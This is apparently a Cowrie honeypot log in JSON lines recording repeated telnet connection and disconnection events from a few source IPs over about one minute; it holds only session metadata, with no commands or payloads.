{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40556,"dst_ip":"10.17.0.5","dst_port":23,"session":"626f66129c79","protocol":"telnet","message":"New connection: 188.208.141.113:40556 (10.17.0.5:23) [session: 626f66129c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:33.708890Z"}
{"eventid":"cowrie.session.closed","duration":30.649070024490356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:34.823349Z","src_ip":"162.219.178.250","session":"e5757f05a62f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.270437717437744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:34.931495Z","src_ip":"162.219.178.250","session":"fec2b4a12bd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.44767999649048,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:35.031056Z","src_ip":"162.219.178.250","session":"ae3e43fe440a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.992321729660034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:35.094437Z","src_ip":"162.219.178.250","session":"6f28d4f1d7bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.194764852523804,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:35.337886Z","src_ip":"188.208.141.113","session":"ff5f2a3b5a60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.13884162902832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:36.646010Z","src_ip":"162.219.178.250","session":"8e8e3792d18e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":42552,"dst_ip":"10.17.0.5","dst_port":23,"session":"afdcf8b8cb8b","protocol":"telnet","message":"New connection: 162.219.178.250:42552 (10.17.0.5:23) [session: afdcf8b8cb8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:36.910527Z"}
{"eventid":"cowrie.session.closed","duration":30.89835286140442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:37.655392Z","src_ip":"162.219.178.250","session":"67b34aa8640c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20951747894287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:39.498252Z","src_ip":"162.219.178.250","session":"cf010b3e0af8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.619991779327393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:39.710622Z","src_ip":"162.219.178.250","session":"c8657fd63d50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.684138536453247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:41.064904Z","src_ip":"162.219.178.250","session":"ac79f5866d97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":51632,"dst_ip":"10.17.0.5","dst_port":23,"session":"6245a6843392","protocol":"telnet","message":"New connection: 162.219.178.250:51632 (10.17.0.5:23) [session: 6245a6843392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:41.344528Z"}
{"eventid":"cowrie.session.closed","duration":0.00472712516784668,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:41.349119Z","src_ip":"162.219.178.250","session":"6245a6843392","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.014719009399414,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:41.788438Z","src_ip":"162.219.178.250","session":"b07b570b52c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.106796741485596,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:41.792757Z","src_ip":"162.219.178.250","session":"6cf278482c9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.302371978759766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:43.589001Z","src_ip":"162.219.178.250","session":"d141d8198bf0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.874909162521362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:43.599985Z","src_ip":"162.219.178.250","session":"fecba352f912","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":54688,"dst_ip":"10.17.0.5","dst_port":23,"session":"89f436b22dc8","protocol":"telnet","message":"New connection: 162.219.178.250:54688 (10.17.0.5:23) [session: 89f436b22dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:44.285100Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":51994,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e60582d9ed1","protocol":"telnet","message":"New connection: 162.219.178.250:51994 (10.17.0.5:23) [session: 0e60582d9ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:44.710661Z"}
{"eventid":"cowrie.session.closed","duration":36.846611976623535,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:44.817031Z","src_ip":"188.208.141.113","session":"26037763afe5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":85.7514591217041,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:45.811973Z","src_ip":"162.219.178.250","session":"27bf88fed333","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":39866,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ab4a4b51265","protocol":"telnet","message":"New connection: 162.219.178.250:39866 (10.17.0.5:23) [session: 4ab4a4b51265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:45.903123Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35680,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4c243af3561","protocol":"telnet","message":"New connection: 188.208.141.113:35680 (10.17.0.5:23) [session: a4c243af3561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:46.000319Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":58444,"dst_ip":"10.17.0.5","dst_port":23,"session":"0748293b5942","protocol":"telnet","message":"New connection: 162.219.178.250:58444 (10.17.0.5:23) [session: 0748293b5942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:47.428870Z"}
{"eventid":"cowrie.session.closed","duration":0.004669666290283203,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:47.433417Z","src_ip":"162.219.178.250","session":"0748293b5942","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":52096,"dst_ip":"10.17.0.5","dst_port":23,"session":"55560201d6ef","protocol":"telnet","message":"New connection: 162.219.178.250:52096 (10.17.0.5:23) [session: 55560201d6ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:47.896096Z"}
{"eventid":"cowrie.session.closed","duration":0.004584312438964844,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:47.900557Z","src_ip":"162.219.178.250","session":"55560201d6ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":59902,"dst_ip":"10.17.0.5","dst_port":23,"session":"c523caba4ff5","protocol":"telnet","message":"New connection: 162.219.178.250:59902 (10.17.0.5:23) [session: c523caba4ff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:49.418338Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34682,"dst_ip":"10.17.0.5","dst_port":23,"session":"0092cc1ba995","protocol":"telnet","message":"New connection: 188.208.141.113:34682 (10.17.0.5:23) [session: 0092cc1ba995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:50.847366Z"}
{"eventid":"cowrie.session.closed","duration":48.21123552322388,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:50.914236Z","src_ip":"162.219.178.250","session":"d3ba2a4506fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.42395782470703,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:52.080805Z","src_ip":"188.208.141.113","session":"b330428bf329","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":33764,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd414f39f3a4","protocol":"telnet","message":"New connection: 162.219.178.250:33764 (10.17.0.5:23) [session: cd414f39f3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:52.398536Z"}
{"eventid":"cowrie.session.closed","duration":31.163493871688843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:53.408600Z","src_ip":"162.219.178.250","session":"759e4ae97625","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00126624107361,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:53.453474Z","src_ip":"206.189.32.23","session":"07f864e1a835","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":32836,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a751e72d300","protocol":"telnet","message":"New connection: 162.219.178.250:32836 (10.17.0.5:23) [session: 1a751e72d300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:53.508979Z"}
{"eventid":"cowrie.session.closed","duration":30.434542417526245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:53.551638Z","src_ip":"162.219.178.250","session":"c616e433966c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.981136083602905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:53.732383Z","src_ip":"162.219.178.250","session":"80f0fcc81e59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":86.05028653144836,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:54.779667Z","src_ip":"162.219.178.250","session":"14832be73678","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.25898551940918,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:55.087780Z","src_ip":"162.219.178.250","session":"aa91bab84e7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":37264,"dst_ip":"10.17.0.5","dst_port":23,"session":"be80f98a9637","protocol":"telnet","message":"New connection: 162.219.178.250:37264 (10.17.0.5:23) [session: be80f98a9637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:55.618359Z"}
{"eventid":"cowrie.session.closed","duration":31.606799125671387,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:56.389845Z","src_ip":"162.219.178.250","session":"984bba47c76d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.729185819625854,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:36:57.319386Z","src_ip":"162.219.178.250","session":"feba1291a606","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.68589997291565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:00.207746Z","src_ip":"162.219.178.250","session":"3249ac8c2143","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":45502,"dst_ip":"10.17.0.5","dst_port":23,"session":"486bb1568732","protocol":"telnet","message":"New connection: 162.219.178.250:45502 (10.17.0.5:23) [session: 486bb1568732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:01.497519Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":53886,"dst_ip":"10.17.0.5","dst_port":23,"session":"92a30eb375cc","protocol":"telnet","message":"New connection: 162.219.178.250:53886 (10.17.0.5:23) [session: 92a30eb375cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:02.028968Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":44534,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba17972f4210","protocol":"telnet","message":"New connection: 162.219.178.250:44534 (10.17.0.5:23) [session: ba17972f4210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:02.766824Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":56562,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4cb1558f200","protocol":"telnet","message":"New connection: 162.219.178.250:56562 (10.17.0.5:23) [session: b4cb1558f200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:03.567028Z"}
{"eventid":"cowrie.session.closed","duration":87.4349844455719,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:03.686286Z","src_ip":"162.219.178.250","session":"bb173780bb86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":89.60988116264343,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:04.539854Z","src_ip":"162.219.178.250","session":"371a63722184","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00185561180115,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:07.728649Z","src_ip":"162.219.178.250","session":"544921686715","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":57056,"dst_ip":"10.17.0.5","dst_port":23,"session":"39646d6e9c45","protocol":"telnet","message":"New connection: 206.189.32.23:57056 (10.17.0.5:23) [session: 39646d6e9c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:08.035888Z"}
{"eventid":"cowrie.session.closed","duration":31.62200164794922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:08.532397Z","src_ip":"162.219.178.250","session":"afdcf8b8cb8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":57922,"dst_ip":"10.17.0.5","dst_port":23,"session":"668f7212d5ca","protocol":"telnet","message":"New connection: 206.189.32.23:57922 (10.17.0.5:23) [session: 668f7212d5ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:08.971981Z"}
{"eventid":"cowrie.session.closed","duration":46.90794610977173,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:09.690571Z","src_ip":"162.219.178.250","session":"1dfd58ac8c0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00162124633789,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:11.536325Z","src_ip":"162.219.178.250","session":"8eb01a474645","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.118247032165527,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:12.154020Z","src_ip":"206.189.32.23","session":"39646d6e9c45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.879241704940796,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:13.303029Z","src_ip":"206.189.32.23","session":"8b58e4ac91ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.425137758255005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:14.710142Z","src_ip":"162.219.178.250","session":"89f436b22dc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.132224321365356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:15.842786Z","src_ip":"162.219.178.250","session":"0e60582d9ed1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.04955267906189,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:16.082373Z","src_ip":"162.219.178.250","session":"2583b796ec1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":36106,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ac3ad783f7b","protocol":"telnet","message":"New connection: 162.219.178.250:36106 (10.17.0.5:23) [session: 9ac3ad783f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:16.226499Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":36065,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f9962187d94","protocol":"telnet","message":"New connection: 162.219.178.250:36065 (10.17.0.5:23) [session: 0f9962187d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:16.323621Z"}
{"eventid":"cowrie.session.closed","duration":0.005006074905395508,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:16.328504Z","src_ip":"162.219.178.250","session":"0f9962187d94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57732,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eecbdaa6908","protocol":"telnet","message":"New connection: 188.208.141.113:57732 (10.17.0.5:23) [session: 0eecbdaa6908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:16.407454Z"}
{"eventid":"cowrie.session.closed","duration":85.82371354103088,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:19.787000Z","src_ip":"162.219.178.250","session":"c602f61a59d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00190591812134,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:20.143436Z","src_ip":"162.219.178.250","session":"de6d047e9343","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.003449201583862,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:20.421680Z","src_ip":"162.219.178.250","session":"c523caba4ff5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":43492,"dst_ip":"10.17.0.5","dst_port":23,"session":"93d87016a4a5","protocol":"telnet","message":"New connection: 162.219.178.250:43492 (10.17.0.5:23) [session: 93d87016a4a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:22.034164Z"}
{"eventid":"cowrie.session.closed","duration":120.00108599662781,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:22.958246Z","src_ip":"162.219.178.250","session":"b9c19410ed5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71228003501892,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:23.110736Z","src_ip":"162.219.178.250","session":"cd414f39f3a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.147459030151367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:23.656369Z","src_ip":"162.219.178.250","session":"1a751e72d300","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":40401,"dst_ip":"10.17.0.5","dst_port":23,"session":"57ec259c3c8a","protocol":"telnet","message":"New connection: 162.219.178.250:40401 (10.17.0.5:23) [session: 57ec259c3c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:23.728322Z"}
{"eventid":"cowrie.session.closed","duration":51.2701895236969,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:24.978974Z","src_ip":"188.208.141.113","session":"626f66129c79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":44894,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc258c123472","protocol":"telnet","message":"New connection: 162.219.178.250:44894 (10.17.0.5:23) [session: fc258c123472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:25.006923Z"}
{"eventid":"cowrie.session.closed","duration":81.99108529090881,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:25.149950Z","src_ip":"162.219.178.250","session":"ae1c355835b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":49064,"dst_ip":"10.17.0.5","dst_port":23,"session":"6630be9458a0","protocol":"telnet","message":"New connection: 162.219.178.250:49064 (10.17.0.5:23) [session: 6630be9458a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:25.610799Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52918,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fcca8dc2244","protocol":"telnet","message":"New connection: 188.208.141.113:52918 (10.17.0.5:23) [session: 8fcca8dc2244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:25.718011Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":45384,"dst_ip":"10.17.0.5","dst_port":23,"session":"84790ec42e39","protocol":"telnet","message":"New connection: 162.219.178.250:45384 (10.17.0.5:23) [session: 84790ec42e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:26.283502Z"}
{"eventid":"cowrie.session.closed","duration":40.94205069541931,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:26.942196Z","src_ip":"188.208.141.113","session":"a4c243af3561","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":81.74501276016235,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:27.231498Z","src_ip":"162.219.178.250","session":"84bae36ea3e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":50024,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1648886f02a","protocol":"telnet","message":"New connection: 162.219.178.250:50024 (10.17.0.5:23) [session: a1648886f02a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:27.272579Z"}
{"eventid":"cowrie.session.closed","duration":2.078110933303833,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:27.796019Z","src_ip":"188.208.141.113","session":"8fcca8dc2244","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52932,"dst_ip":"10.17.0.5","dst_port":23,"session":"2141f6376f67","protocol":"telnet","message":"New connection: 188.208.141.113:52932 (10.17.0.5:23) [session: 2141f6376f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:27.949854Z"}
{"eventid":"cowrie.session.closed","duration":89.88411617279053,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:29.387041Z","src_ip":"162.219.178.250","session":"e1e8ab638b31","protocol":"telnet"}
